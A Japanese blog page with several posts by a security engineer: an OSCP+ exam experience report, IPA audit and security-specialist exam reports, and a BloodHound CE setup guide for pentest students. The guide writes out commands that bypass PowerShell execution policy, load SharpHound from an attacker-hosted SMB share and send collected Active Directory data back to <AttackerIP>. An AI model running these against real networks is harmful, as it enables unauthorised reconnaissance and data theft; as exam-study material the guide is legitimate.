OSCP+合格体験記(2026/2/24)

2026年2月24日にOSCP+試験に合格することができました!
チートシートの共有も兼ねて、合格体験記を書きます。

OSCP+合格証書

自作チートシートの共有

本編に入る前に、早速ですが、ツールの使い方、列挙手法、権限昇格手法などをまとめたチートシートをGitHubで公開しています。参考になれば幸いです。
Obsidianというノートアプリを使用して作成したため、ローカルにコピーしてObsidianで開くことで、より使いやすくなるかと思います。

OSCP-plus-Cheatsheet

自作チートシート切り抜き

OSCP+とは

OSCP+(Offensive Security Certified Professional+) は、OffSec社が提供する実践的なペネトレーションテストの資格です。

まず PEN-200コース の教材でペネトレーションテストの基礎を体系的に学びます。 その後、Challenge labs というマシンの攻略を通じて知識の定着を図ります。

Lab Machines Key to Success - OffSecにもあるように、Challenge labsの攻略の数に比例して合格率が上昇するようです。

challenge labsの攻略数に比例して合格率が上昇している集計グラフ

詳細は公式シラバスをご参照ください。
PEN-200コースのシラバス - OffSec

試験の流れ

① ペネトレーションテストフェーズ(23時間45分)

出題構成は次のとおりです。

対象 構成 配点
Active Directory(AD)セット マシン3台 侵害1台につき10点、DC侵害で計40点
スタンドアローンマシン 3台 初期侵入10点 + 権限昇格10点 = 各20点
合計 100点満点

なお、ADセットのうち1台はイニシャルアクセス済みとして試験がスタートするため、最初から認証情報が提供されています。

② レポート作成フェーズ(24時間)

ペネトレーションテストの過程を英語で詳細にまとめたレポートを作成し、提出します。
なお、レポートは、「技術的に有能な担当者が再現できるレベル」であることが求められます。

OffSecからサンプルレポートが提供されていますので、事前に一読しておくことをお勧めします。  ※テンプレートの一部(1〜3章など)は改変不要でそのまま使用できます。

PEN-200 Reporting Requirements - OffSec

受験にあたっての注意事項

  • 日本国籍の方は、受験時の本人確認書類としてパスポートが必要です。
  • OSCP+ Exam Guide - OffSec は必ず直前に読んでください。
    • たとえば、ヘッドホンの使用は禁止です。他の方の受験記では、「ヘッドホンを使って音楽聴いていた」、と言っているものもありますが、2026/2/24時点では禁止されています。
    • 生成AIの使用は禁止です。ただし、NotionなどのツールへのAI機能の組み込みや、ブラウザの「AIによる概要」表示については、無効化しなくても良いようです。

試験ガイドは定期的に更新されます。
内容が変わっている可能性があるため、必ず直前に読みましょう。

コース開始前の筆者のスペック

2025年2月からコースを開始しました。 業務では主に脆弱性診断やOTセキュリティをメインで担当していました。 また、個人的に学習していた内容は以下の通りです。

時期 内容
2018年10月 TOEIC 800点取得
2023年6月 応用情報技術者試験 合格
2023年5月〜11月 TryHackMe Learning Pathを一通り完了(下記参照)
2023年12月 情報処理安全確保支援士試験 合格(合格体験記
2024年2月 Burp Suite Certified Practitioner 取得(合格体験記
2024年12月 システム監査技術者試験 合格(合格体験記

補足:TryHackMe 修了コース(2023年5月〜11月)

TryHackMeの取得バッジ

学習の記録

学習スケジュールの概要

時期 取り組み内容
2025年2月〜3月 TryHackMeの学習過程で取っていたノートの復習・整理
2025年4月〜10月 PEN-200コース教材をメインに、アセンブラやフィッシングについて深堀り
2025年11月〜2026年1月上旬 Challenge Labs(1/10に1回目受験 → 不合格)
2026年1月中旬〜2026年2月下旬 PG Practice(約30台)・残りのChallenge Labs(2/22に2回目受験 → 合格)

学習時間

子どもがいるため、平日にまとまった学習時間を確保するのは困難でしたが、家族に協力してもらい、TryHackMeでの学習時間も含め、トータルで約1,000時間学習しました。

この資格は実践的なものとなっていることから、Challenge Labs攻略フェーズに入ると、通勤・昼休みのスキマ時間はほぼ活用できませんでした。 ここがIPAの高度情報処理試験の勉強のような座学と大きく異なる点であり、時間の確保という意味で苦労しました。

2025年2月〜2025年11月

  • 平日:1~2時間(5時~6時30分+通勤・昼休みのスキマ時間)
  • 休日:5時間

2025年12月〜2026年2月

家庭と業務の都合により早朝学習が難しくなったため、育児・家事が落ち着いた後に学習するようにしました。
試験直前期間は2人の子どもの世話をほぼ妻に任せきりにしてしまいました。妻の協力なしには合格できなかったと心から感謝しています。

  • 平日:3時間
  • 土日祝:10〜12時間

(ちなみに12月が誕生日でしたが祝わず、正月も一人で自宅に籠もり、初詣にも行きませんでした。)

受験タイムライン:1回目(不合格)

結果は40点で不合格でした。
後日、振り返りのためにノートに取っておいたツールの出力を見返すと、すぐに重要情報を見落としていたことに気づき、非常に後悔しました。

時間 内容 累計点数
09:00〜09:20 監視ツールのセットアップ(手間取る) 0点
09:20〜11:00 ADセット 初期侵入完了(手応えを感じる) 10点
11:00〜12:00 ADの列挙を続けるも進捗なし 10点
12:00〜13:00 昼休憩 10点
13:00〜15:00 ADに取り組むも引き続き進捗なし 10点
15:00〜16:00 スタンドアローン1台目攻略完了 30点
16:00〜18:00 ADに再挑戦するも進捗なし 30点
18:00〜20:00 スタンドアローン2台目着手し、イニシャルアクセス成功 40点
20:00〜翌08:45 ADに再挑戦するも進捗なく、一睡もせず粘るが試験終了 40点
結果 不合格 40点

不合格という結果を受けて反省したこと

Challenge labs への着手が遅すぎたこと

これまでのIPA高度試験などの学習では「教材・関連書籍を熟読して考え方を深く理解した上で、過去問に取り組む」というスタイルをとってきました。

しかし、OSCP+のような実践的な試験では、このアプローチは合いませんでした。実際、1回目受験時点ではチャレンジラボの総数の半分も解けていませんでした。

「知っている」つもりでも、この試験で求められるのは発想力・判断力・検索力だと思っています。学んだ範囲の知識だけでは試験は解けません。もっと早い段階からラボに取り組むべきでした。

対策として、不合格後は、以下に集中して取り組みました。

  • PG Practice:30台を攻略
  • PEN-200 Challenge Labs:未着手だった残りのラボを消化

PG Practiceで攻略するマシンの選定には、以下のリストを参考にしました。
LainKusanagi list of OSCP like machines

②試験で休憩を予定に組み込んでいなかったこと

OSCP+の試験では、エクスプロイトの難易度はそれほど高くなく、詰まる原因の多くは列挙不足です。
網羅的な列挙には高い集中力が必要であり、疲労は見落としに直結します。

他の合格体験記でも繰り返し言われていることですが、休憩は非常に重要です。
ただし、頭では分かっていても、合格点に達していない状況で休憩に時間を割くのはかなりの勇気が要り、実際、1回目の試験では一睡もしませんでした。

対策として、2回目の試験では「休憩は無駄ではなく投資だ」と自分に強く言い聞かせ、あらかじめ休憩のスケジュールを立てました。

③試験環境の整備不足

これは言い訳に聞こえるかもしれませんが、1回目の試験では、2020年製のMacBook Pro(メモリ8GB・ストレージ256GB)と14インチの外付けモニタで臨みましたが、 試験中は監視ツールが常時動作しているため、仮想マシンの動作が著しく低下し、複数回フリーズが発生しました。
そのたびに時間をロスし、余計なストレスも重なりました。

対策として、2回目の試験では、メモリ32GB・ストレージ1TB・Intel Core Ultra 7搭載のノートPCと27インチのモニタを用意し、快適に試験に臨めるようにしました。

受験タイムライン:2回目(合格)

詳細は割愛しますが、詰まった箇所で最初に試したコマンドの文法やツールを変えて再試行したところ、成功し、合格点に達したのは試験終了5分前でした。
諦めなくてよかったです。

時間 内容 累計点数
11:00〜11:10 試験開始準備 0点
11:10〜13:00 全マシンのポートスキャン・サービススキャン実施、攻撃方針を検討 0点
13:00〜14:00 昼休憩 0点
14:00〜15:00 ADセットのイニシャルアクセスマシンの権限昇格に成功 10点
15:00〜17:00 ADセットに取り組むも進捗なし 10点
17:00〜18:30 スタンドアローン1台目攻略完了 30点
18:30〜深夜02:00 スタンドアローン2台目に着手するも初期侵入できず、ADセットへ注力するも進捗なし 30点
深夜02:00〜07:00 睡眠 30点
07:00〜09:50 ADセットに取り組むも進捗なし 30点
09:50〜10:20 ADセットで最初に試したコマンドの構文を変えて再試行し、成功、DCまで侵害完了 60点
10:20〜10:40 スタンドアローン2台目に再着手 → イニシャルアクセス成功(合格点到達) 70点
10:40〜10:45 プロセス・スクリーンショットの確認(途中で試験終了) 70点
結果 合格 70点

レポート作成フェーズ

レポート作成で最も後悔したのは、スクリーンショットの数が圧倒的に不足していたことです。実行コマンドとその出力結果はテキストで細かく記録していましたが、もっと大量にキャプチャを取っておくべきでした。

幸い、コマンドと出力結果を丁寧にメモしていたため、OffSecの要件である「技術的に有能な第三者がレポートを参照して再現できる」水準は満たせたと思っています。

なお、レポートは非常に丁寧に作成したため、約12時間ほどかかりました。

レポート提出からおよそ12時間後、ダッシュボードのAchievementからOSCP+とOSCPのバッジおよびレポートが確認できるようになり、合格を確信しました。

OffSecのAchievements画面

合格できた要因の振り返り

合格できた最大の要因は、1つの目的に対して複数の手段を用意していたことだと考えています。

1回目の受験までは、1つの目的に対して可能な限り少ない手法をノートに記録していました。
理由は、どうせ同じ目的なら、使うツールや手法は少ないほうがノートをシンプルに保てると考えていたからです。

しかし、試験に落ちて気づいたのは、ツールが使用するプロトコルの挙動などによっては、期待した結果が得られないケースが多々ある、ということです。

PEN-200の教材でも「万能なアーミーナイフのようなツールは存在しない。利用するツールの仕様は必ず理解してから使用すること。」と明言されていたと記憶しています。

2回目の受験に向けては、「もしこの手法が使えなかったら」という代替手段を可能な限り用意し、ツールの仕様を理解するため、可能な限りすべて動作検証しました。

また、入手した情報を体系的に整理し、同じ作業を何度も実施しないよう、Hacking Servmon - YouTubeの動画を参考にノートテンプレートを作成し、丁寧にノートを取るようにしました。

さいごに

OSCP+の合格は、ドラマ「MR.ROBOT」をきっかけにセキュリティという仕事を知った日から、ずっと目指してきた目標のひとつでした。
それを達成できたことを、心から嬉しく思っています。

この合格体験記が少しでも参考になれば幸いです。

最後まで読んでいただきありがとうございました。

(2025年10月版)BloodHound Community Editionのインストール方法、機能概要

2025年10月現在、インターネットでは旧来のBloodHound legacyとBloodHound Community Edition(以下、BCE)の説明がごちゃ混ぜになっているため、BCEのインストール手順をまとめます。 この記事は私のノートをそのままブログとして公開したものですので、誤りあればご指摘ください。なお、想定読者は、OSCP+の勉強をしている方です。

BCEの用途

BCEインストール

想定環境

インストール手順

  1. dockerのインストール
sudo apt update && sudo apt install -y docker.io && sudo apt install -y docker-compose
  1. Docker起動時に毎回sudoを入力しなくてもいいように、自身をdockerのグループに追加
sudo usermod -aG docker $USER

# ☑️設定変更反映のため、ログアウト→ログイン
groups

↓出力例:末尾にdockerが追加

<username> adm dialout cdrom floppy sudo audio dip video plugdev users netdev bluetooth lpadmin wireshark scanner kaboxer docker
  1. Dockerサービスの起動と自動起動の有効化
sudo systemctl start docker
sudo systemctl enable docker
  1. Bloodhound CEのインストール:Install BloodHound CE - SPECTEROPS

2回目以降の起動・停止方法

初回インストール時はBloodHoundが起動しているが、2回目以降はDocker Composeでサービスを起動する必要がある

  1. docker-compose.ymlが格納されているディレクトリにcd
cd ~/.config/bloodhound
  1. BCEのコンテナ起動
docker compose up -d
  • -d:バックグラウンドでdaemonのように動作する

  • 次のアドレスにアクセスすれば使用可能になる

http://127.0.0.1:8080/ui
  • ⚠️デフォルトは8080ポートだが、自分は#おまけ:起動ポート8080の変更で9999へ変更した
  • emailはデフォルトadminで、パスワードは任意(英数字記号混在)

  • BCEのコンテナ停止

docker compose down
  • シャットダウンでも停止する

データの収集・分析準備

Legacyでは、BloodHoundとSharpHoundの互換性に気をつける必要があったが、CEでは互換性のあるSharpHoundがDownload Collectorsの中にある

  1. BloodHoundを起動し、Download Collectorsからデータ収集ツールをダウンロードする

    • Active Directoryに対しデータ収集:SharpHound
    • Entra ID(旧称:Azure Active Directory)に対しデータ収集:AzureHound
      Download Collectorsのページ
  2. zipファイルを解凍する(自分は/opt/Bloodhound配下に解凍)

  3. 攻撃者のマシン上でSMB共有を用意し、ファイル送受信の準備をする
# smb共有用ディレクトリの作成
mkdir <共有用のディレクトリ>

# smbサーバーのセットアップ
impacket-smbserver -smb2support -username <username> -password <pw> share <共有用のディレクトリへのパス>

# sharphoundの用意(※)
cp /opt/Bloodhound/SharpHound.ps1 <共有用のディレクトリへのパス>
  1. ターゲットのマシン上でSMB共有からSharpHoundをインポートし、スキャンを実行する
powershell -ep bypass

# smb共有の利用
net use \\<AttackerIP>\share /user:<username> <pw>

# 関数の読み込み
Import-Module \\<AttackerIP>\share\SharpHound.ps1

# 全データの収集(※ローカルグループポリシーは除く)
Invoke-BloodHound -CollectionMethod All -OutputDirectory \\<AttackerIP>\share -ZipFileName '<filename>.zip'
  • 結果、<実行日時>_<filename>.zip及びbinキャッシュ(データ収集速度向上のための)ファイルが作成される

  • 攻撃者のマシンに戻り、BloodHoundのAdministration > File IngestでUpload Fileを実行し、SharpHoundの実行結果であるzipファイルをアップロードする

    File IngestのStatusがCompleteになれば分析準備OK

  • 取り込んだデータの削除は、Administration > Database Managementから可能

BloodHoundの基本的な機能

nodeについて

  • 🔗About BloodHound Nodes
  • ノードをクリックすると、エンティティパネルが表示され、オブジェクトの情報がわかる
オブジェクトについての情報 説明
Object Information DNやSIDなど、オブジェクトに関する情報すべて
Sessions オブジェクトがログオンしている対象を表示
Members グループのメンバー
Member of このオブジェクトがどのグループに所属するか
Local Admin Privileges オブジェクトがローカル管理者権限をもっているもの
Execution Privileges あるオブジェクトに対するリモートコマンド実行権限
Inbound Object Control 他のオブジェクトがこのオブジェクトに対してどのような権限を持っているか
Outbound Object Control このオブジェクトが他のオブジェクトに対してどのような権限を持っているか

エンティティパネル

  • ノードを右クリックすると、Add to Owned(侵害済みリストに追加)などが可能

    • 💀:Ownedリストに追加されたノードを意味する
    • 攻撃ベクターを可視化するため、侵害したユーザーは==必ずAdd to Ownedする==こと
      オブジェクトを右クリックしたときのオプション
  • 💎:"HIGH VALUE"を意味し、特に重要なオブジェクトや侵害できると大きなメリットがあるオブジェクトを指す

    ノードのアイコンの意味

edgeについて

  • 🔗About BloodHound Edges
  • エッジとは、あるノードを別のノードに接続するリンク(関係)として表現
  • エッジの方向は攻撃または特権の方向を示す
  • エッジの名前をクリックすると、エンティティパネルに以下の情報が表示される

    • Relationship information:エッジについての情報
    • ==Abuse:レッドチームがエッジの特権を活用して目標を達成する方法==
      • 詳細は公式ドキュメントでEdgeの名前を検索
    • Opsec Considerations:レッドチームメンバーが検知回避で考慮すべき点など
      edgeのプロパティを表示
  • その他の情報は、公式ドキュメントの「Resources」を閲覧

Explorer

  • 検索機能
  • ノードについてのラベルをつけると、そのラベルに該当するオブジェクトに絞ることができる

PATHFINDING

  • 指定したStart NodeからDestination Nodeまでの侵害経路をグラフ化する

⭐️CYPHER

  • 🔗公式ドキュメントSearch With Cypher - SPECTEROPS

  • クエリを使用して、任意の情報を表示する

  • 「Saved Query」で定義済みのクエリを使用可能
    Saved QueriesですべてのDomain Adminを列挙

留意点

  • csvファイルは使えない(BCEのバージョンが1.xxなら使えるが、古い)
  • ローカルGPOは収集できない

おまけ:起動ポート8080の変更

以下のディレクトリに保存されている3つのファイルの8080を任意のポートに書き換える

cd ~/.config/bloodhound
  • →自分は9999に変更した

令和6年度システム監査技術者試験(AU)合格体験記

システム監査技術者試験IPA合格画面
令和6年度秋期のシステム監査技術者試験(以下、AU)に一発合格できました。🎊

他の高度試験と比較して合格体験記が少ないことや、
自分が監査未経験の20代であること、また、完全独学で合格したことなどから、
私の体験が誰かにとって少しでも意味のある内容になればと思い、体験記を作成します。

システム監査技術者試験(AU)とは?📖

詳細についてはIPA公式の説明をご覧ください。
システム監査技術者試験 | 試験情報 | IPA 独立行政法人 情報処理推進機構

本試験の合格率は14 ~ 16%合格者平均年齢は40代前半(他高度試験と比較して最年長)です。
また、論文試験百戦錬磨の猛者、かつ、監査未経験者の受験者がとても多いことが特徴です。
システム監査技術者 試験の特徴と難易度 | IT資格の歩き方

自身の受験時ステータス👶

  • 監査未経験の20代
  • IT業界の経験は2年未満
  • 保有資格
    • 応用情報処理技術者試験合格(2023/6)
    • 情報処理安全確保支援士試験合格(2023/12)
    • Burp Suite Certified Practitioner(2024/2)

ちなみに、論文試験は学生時代の「中小企業診断士」以来、5年ぶりの挑戦でした。

学習方法と学習時間📚

私は完全に独学でしたが、あまりオススメはできません。
(引越しなど家庭の事情による金欠が理由で、紙の印刷すらしていない...。)

学習のおおまかな流れ:

  1. 「情報処理教科書」と「システム監査基準」で前提知識を習得(5月後半 ~ 7月末)
  2. 「合格論文の書き方」で論文の基本を学ぶ(8月中)
  3. 過去問演習(午後I・午後II)(9月前半 ~ 試験直前)
  4. 論文ネタ作成(9月後半 ~ 試験直前)

総学習時間:

約290時間です。 午後IIに比重を置きました
以下詳細です。

情報処理教科書 システム監査技術者 2023~2024年版 (EXAMPRESS) [ 落合 和雄 ] : 約100時間

(↑アフィリエイトリンク貼っといてアレですが、2025年版が発売されたら絶対そっちを買いましょう。)

学習の序盤から終盤まで使ったテキストです。
序盤では、「監査独特の表現」を把握することに努め、各章末付録の過去問解答は午前問題のみに留めました。

学習の順序としては、「情報処理教科書」を一通り読み終わったら、「合格論文の書き方」(後述)の第一部までを読み、その後、「情報処理教科書」付録の午後問題を解く、といった流れです。

余談ですが、応用情報や支援士の「情報処理教科書シリーズ」と比較して、AUの「情報処理教科書」は物理的に厚みがないです。
とはいえ、学習量が少なく済むわけではありません。実際には、読むべき資料が多岐にわたり、必要とされる前提知識の範囲も非常に広いです。

システム監査技術者合格論文の書き方・事例集第6版 情報処理技術者試験対策書 [ 岡山昌二 ] : 約90時間

(↑アフィリエイトリンクです。)

前述の情報処理教科書である程度前提知識を理解したら、この「合格論文の書き方」に着手しました。
まず、論文とは何なのか、そして、論文の"お作法"などを初心者にもわかりやすく解説しています。

読み始めて最初に驚いたのは、著者がさしあたって論文を書くことを推奨していないことでした。
(他のテキストやブログでは、「とりあえず論文書いてみよう」と推奨されていることがほとんどでした。)

論文の経験が少ない私には、論文を書き始める前に、この参考書で"お作法"を学んだことがとても良い選択だったなと思います。
論文に自信がない方は、まずはこの参考書の言う通りに学習することをオススメします。

余談ですが、この参考書は2020年出版です。
2024年12月現在で一応最新版なのですが、2023年8月末には"購入者特典"の有効期限が切れています。

それでもなお、論文の書き方の基本は過去から大きく変わっていないので、今でもとても有用な参考書だと思います。
ちなみに、私は収録されているサンプル論文について、著者が書いたもの以外はあまり読んでいません。

関連資料 : 約90時間

以下のブックマークしてある資料はすべて一通り目を通しました。
すべてのリンクを貼ると膨大になるので、検索していただければと思います。
(私は通勤時間中にスマホで関連資料を読んでいました。)

ただし、中でも重要だと感じた関連資料については後述します。

ブックマーク一覧

システム監査基準R5年版

序盤に読むべき資料ランキングNo.1 です。
監査人としての基本的な心構えやあり方を学ぶことができます。

システム監査用語の定義と解説

公開年は平成17年でとても古いですが、監査用語の定義が明確にされています。
言葉の意味を間違えて覚えて学習を進めると、取り返しがつかないことになりかねないため、序盤で用語の意味を整理しておくことをオススメします。
(自分も試験直前まで勘違いしていた用語がいくつかありました。)

⭐️システム管理基準R5年版

最も重要な資料なのではないでしょうか。
ただ、監査未経験が序盤に読んでもザックリしか理解できないと思います。
(私も内容が具体的にイメージできませんでした。)
序盤はざっと目を通すくらいにしたほうがいいと思います。

監査の前提知識が身につき、午後Iを解けるようになったら本基準を熟読しました。
なお、問題と「システム管理基準」の内容とを照らし合わせる勉強方法はとてもオススメです。

情報セキュリティ管理基準H28年版

AUの午後IIでは、かなりの頻度でサイバーセキュリティに関する問題が出題されます。
私は関連資料の中でこれを一番読み込みましたが、「システム管理基準」を同じくらいの時間をかけて読み込むべきだったと反省しています。
(午後II本番では、2問ともシステム管理基準からの出題であったため。)

その他

たまたま図書館にあったので読みました。「情報処理教科書」を読んでも具体的な実務のイメージがつかないところを補強する用に使いました。
監査系の本は高いので、お近くの図書館から借りる、もしくは、中古を入手するのも手段だと思います。

情報処理試験おなじみの「過去問道場」がAUにはありません!
そのため、この過去問Webアプリを利用していました。
誤字や問題の内容に誤りが多数ありますが、十分な機能は備わっています。

ただ、私は、午前問題は午後問題が解けるレベルになっていると対策しなくても自然と解けるようになっていると思い、あえて対策していません。
(約4時間で9年分の過去問を解いて終わりです。)

独学で工夫したこと⚙️

午後IIの傾向を分析する

あたり前ですが、過去と同じ問題は出題されません。

ただし、本番で出題されるカテゴリ(範囲)はおおよそ予想がつくと思っています。
例えば、「情報処理教科書」の冒頭に、これまでの「出題テーマ」と「カテゴリ」の記載がありますが、2年連続同じカテゴリの出題は少ないように見受けられますので、分析をオススメします。

また、出題内容の"あたり"をつけるため、受験年の情報通信白書を読むことを非常に強くオススメします。
すべて目を通す必要はないですが、冒頭、総務大臣が"今年の大きな出来事"をザックリ述べているので、そこは最低限読みましょう。

ちなみに、令和6年度情報通信白書では、「AI」、「能登半島地震」が説明されており、同年の午後II 問1でも、「AI」、「大規模災害」についての記述がありました。
(令和5年度情報通信白書では「DX」が説明されていて、同年の午後II 問1でも「データ利活用基盤」に関する問題が出題されました)

そのため、ザックリした当たりをつけるにはとてもいい文書だと思います。

ノートを取る

いつでも参照できるように、お気に入りのアプリを使ってノートを取ることをお勧めします。
私はObsidianを使ってました。

AUはネスペ、支援士などと比べて対策情報が圧倒的に少ないです。
事実、Googleで"情報処理安全確保支援士"と検索すると約40万件ヒットしますが、
"システム監査技術者試験"と検索すると約6万件しかヒットしません(約1/7の情報量)。

そのため、自分でドキュメントを読み、ノートにわかりやすくまとめておくことが重要かと思います。

obsidianノートキャプチャ

午後問題は手書きで解答する

工夫なのか?と疑問を持たれそうですが、あえて手書きにこだわりました。
私自信、アナログはあまり好きではないのですが、

  • 字の汚さ
  • 消しゴムをどれだけ使ったか
  • 解答所要時間

がわかるため、手書きで回答しました。
理由として、本番は手書きであること、字の"ていねいさ"などの印象面も重要であること、などがあります。

ただ、論文を何本も書くのは疲れるので、終盤は論文の骨子を作成するだけに留めました。
書いた論文は、1日以上間隔をあけてから"素人のつもり"になって採点していました。

この試験は、経験がある人の方が沼にハマりやすいと聞いたことがあります。
(自分の"正解"を相手にとっても正解だと思い込んでしまう。)

私は素人だったので完全独学でもうまくいったかもしれないですが、"監査のプロ"の方は第三者に読んでもらうことをオススメします。

過去問解答実績管理表

⭐️論文ネタを作成する

学習期間の終盤で論文ネタを固めていきました。
私の観測圏では、多くの教材が「良質な論文ネタの作成が午後IIの合格に直結する」と言っています。

具体的な内容は、(守秘義務違反など自分にも想定できない)問題が起きるかもしれないのでお見せできませんが、 大きく以下の構成で作成しました。

  • 概要:情報システムの概要です。午後II 設問アで問われる内容です。幅広いテーマでも利用できるよう、カスタマイズしやすい内容にすることをお勧めします。

  • テーマ:例えば、セキュリティ、監査計画、ガバナンス、システムライフサイクル、外部委託などです。

  • 留意点:先に挙げた情報システムの概要ならではの留意点を記載していました。例えば、組み込み型機器は製品の欠陥が物理的な被害を招くなどです。

  • リスク:先に挙げたテーマになるべく沿ったリスクを考えます。例えば、テーマがシステムライフサイクルの開発であるのに、運用面のリスクを書いてしまうとダメかなと思います。

  • コントロール:コントロールの詳しい定義は「情報処理教科書」をご覧ください(定義を間違えて覚えると非常に危険)。ここで簡単に説明すると、あるべき論と現状を照合することです。そのため、リスクに対してのあるべき対応を記載します。

  • 監査テーマ:監査目的実現のために、どこに焦点をおき監査するかを表した、具体的な監査の主題です。例えば、監査目的が「当社情報システムは経営に役立っているかを確かめる」だとすると、監査テーマは「管理会計システムの安全性・有効性を確かめる」となります。監査目的・監査テーマは問題文中に記載していることがほとんどですが、勘違いするとOUTです。

  • 監査手続:監査証拠を得るための具体的な監査技術です。ここでは、具体的なガイドライン、規格名を用意しておくことをオススメします。 本番では論文に自信がなかったのですが、「AI事業者ガイドライン」や「事業継続ガイドライン」といった具体的なガイドライン・規定名を論文に記載したことが、 A判定をもらえた要因かなと考えています。

  • 専門家アピール:監査人として、監査手続を実施してもなお懸念されるリスクおよびそれに対する監査手続を記載します。

以上です。
特に、「情報システムの概要」については、1つの概要だけ用意しておく方法と、複数の概要を用意しておく方法がありますが、
私は複数(3つ)の「情報システムの概要」を用意しておきました。
(3つの概要 x 3つのテーマ = 計9つの論文ネタ。)

そのため、本番では全く予想していなかった「IT投資のガバナンスについて」出題されましたが、用意していた概要でなんとか対応できました。

論文ネタをマスキングしたもの

試験本番の心構え❤️‍🔥

以下を大事にしていました。

  • 題意を無視しない。問題文に記載の条件や重要な前提、例から逸脱しない。
  • 設問に答えていることを、設問の単語を用いることでアピールする。
  • 監査人は精神・身体的に独立している。あくまでも役割は検証・評価すること。主体的に改善することではない。
  • 因果関係は誰にでもわかるように述べる。
  • 諦めない。

以上です。
特に題意を無視しないことが重要です。IPA公式の「採点講評」でも散々言われていますが、題意を無視した論文は、どれだけ素晴らしくても落ちます。

「諦めない」は言うまでもないですが、大事だと思います。
(実際めちゃくちゃ諦めたくなります。)
私は午後IIで予定していた時間を大幅に超えて諦めかけましたが、字が汚くなりつつもなんとか論文を書き上げました。
(本番では試験終了90秒前に書き上げた。危なかった...。息つく暇もなかった...。)

午後II受験レベルまで来ている人は、諦めないで字数を埋めるだけでも合格率が上がると勝手に思っています。

おわりに(感想)🏁

試験当日は会場の空席の少なさに驚きました。
ベテランの風格漂う方々が腕組んで座っていました(気のせいかもしれません)。
実際とてもピリピリしていましたが、試験結果を見ると、私の会場では全体の10%も合格していなかったため、とても難関な資格であることを再認識しました。

勉強中も"楽しい"より"苦しい"が勝りました。なぜなら、範囲が広すぎることや、明確な正解がないことから、「できるようになった!」という実感が全く得られなかったからです。

しかし、業務の"あるべき論"だけでなく、言葉の意味の重要性や、客観的に物事を見るスキルが身につくいい試験でした。

タフな試験でしたが、一発合格できたのは運もあったと思います。諦めずに勉強してこれたのは家族の支えあってこそです。

以上、長くなりましたが、最後まで読んでくださってありがとうございました!

情報処理安全確保支援士試験合格体験記

情報処理安全確保支援士試験結果

令和5年度秋期の情報処理安全確保支援士試験に無事一発で合格できました。午後問題は問2・3を選択しました。

本記事では「最短合格」などを謳うものではなく、地道な学習方法に加え、解答時に心掛けたことをツラツラと書いていきます。

 

学習教材とそれにかけた時間

前提として、令和5年度春期の応用情報技術者試験に合格しています。

  1. 『情報処理教科書 情報処理安全確保支援士』:90時間
  2. 『情報処理安全確保支援士「専門知識+午後問題」の重点対策』:227時間
  3. 情報処理安全確保支援士試験過去問道場:13時間
  4. 『うかる! 情報処理安全確保支援士 午後問題集[第2版]』: 28時間
  5. podcast - #セキュリティのアレ : 正確な時間は計っていません。

総合学習時間は約360時間でした。

⚠️ 学習時間は教材を読んでいた時間だけではなく、調べ物や下記の参考資料を読んでいた時間も含みます。

参考資料

参考にした解説

 

学習方法

学習方法について、特に力を入れたのは、学んだことを自分の言葉に置き換えたり、実際に手を動かして理解を深めることでした。また、ノート作成ツールとしてObsidianを活用し、理解に時間がかかった知識などをメモしていました。

では、教材ごとの勉強方法等について具体的に述べていきます。

1.『情報処理教科書 情報処理安全確保支援士』

この教材では、基礎概念が一番重要だと考え、概念はほとんど暗記しました。特に第1章は試験直前まで何度も確認しました。基礎概念とはCIA(機密性、完全性、可用性)だけではなく、「セキュリティと利便性のバランスを取る」といった考え方や、「最小権限の原則を徹底する」といった原則も含まれます。

これらの概念をしっかりと覚えたおかげで、「この技術や対策は何のために存在するのか」ということが自然と理解できました。

2. 『情報処理安全確保支援士「専門知識+午後問題」の重点対策』

午後問題の学習では、著者の三好氏が提言した方法を使いました。

それは、度解いた過去問は再度解かないことです。一度解いた過去問は再度時間を計って解くのではなく、頭の中で問題と答えを再現し、その後で答案を確認するようにしていました。

午後問はケーススタディだと考え、短いスパンで多くの問題に触れました。以下のように、一度解いた過去問はキーワードや得点率をメモし、その得点率に基づいて見返す際の優先順位を決定しました。

情報処理安全確保支援士午後問解答後のメモ

加えて、参考資料を何度も読みました。参考書だけでは抽象的すぎたり内容が薄いトピックも、参考資料を読むことでより深く理解できたと思います。参考資料は「おまけ」ではなく立派な教材です。本試験は試験対策本だけ読んで余裕で合格できる試験ではないと思います。

3. 情報処理安全確保支援士試験過去問道場

ここで初めて午前問題を解きましたが、最初から9割以上の点数でした。腹落ちするまで理解できているなら、あえて午前問題に取り組む必要はないとは思いますが、私は何か見落としはないかな...と不安だったので全問解きました。

4. 『うかる! 情報処理安全確保支援士 午後問題集[第2版]』

この教材を初めて読んだときに、「だいたい知ってるよ...」という感想を抱きました。しかし、中には「そういう考えもあったのか!」とか、「それはいい意味でちょっとずるくない?」というものもあり、とても有用な教材でした。

著者はX(旧Twitter)にて「合格に手が届く人の背中に"最後の一(ひと)押し"を与えるもの」という旨のポストをしています。もしこの教材を読んでも「よくわからない...」となるのであれば、『情報処理教科書 情報処理安全確保支援士』や『情報処理安全確保支援士「専門知識+午後問題」の重点対策』で基礎を再確認したほうがいいかもしれません。

5. podcast - #セキュリティのアレ

ながら聴きしていたので正確な時間は計っていませんが、1年前の投稿からさかのぼって聴いていました。『情報処理教科書 情報処理安全確保支援士』を読んだ後であれば理解はできる内容だと思います。

世間を騒がせたセキュリティインシデントや犯罪について専門家が解説したり、意見を述べたりしつつ、クスッと笑える話も散りばめられているので、楽しくて勉強になるpodcastです。

試験本番では「あっ、これ『セキュリティのアレ』でやったところだ!」となりました。

 

午後問題解答時の心構え

午後問題において重要なのは、相手の目線に立った提案だと思います。NIST刊行のUsers Are Not Stupid: Six Cyber Security Pitfalls Overturnedにもあるように、正しいだけのセキュリティ施策を押し付けることは逆効果です。

午後問題には必ず何かしらのリソース上の制約があります。例えば「設備投資は考えていない」や、「人手が足りない」などです。

このような制約を無視し、「正しいだけで実践は難しい」施策を解答すると高得点は望めないと思います。

 

おわりに

試験合格発表までの期間が長かったため、一発で合格できてホッとしました...。実際に使うことを想定して勉強したことが高得点(だと思う)につながったと思ってます。セキュリティエンジニアとしての基本が学べる、いい試験でした。これからしばらくの間は実践的な資格に注力していこうと思います。最後まで読んでくださってありがとうございました!

Burp Suite Certified Practitioner(BSCP)合格体験記

Burp Suite Certified Practitioner証明書

Burp Suiteを用いたWebアプリケーション脆弱性の検知と悪用のスキルを証明する"Burp Suite Certified Practitioner(BSCP)"という試験に合格しました。

本資格が2021年7月から始まったこともあり、OSCPと比べると日本語での合格体験記が少ないので、人生で初めてにはなりますが合格体験記を書いていこうと思います。

本記事よりもわかりやすい記事のリンクを貼りますので、そちらから先に読むのがいいかもしれません。

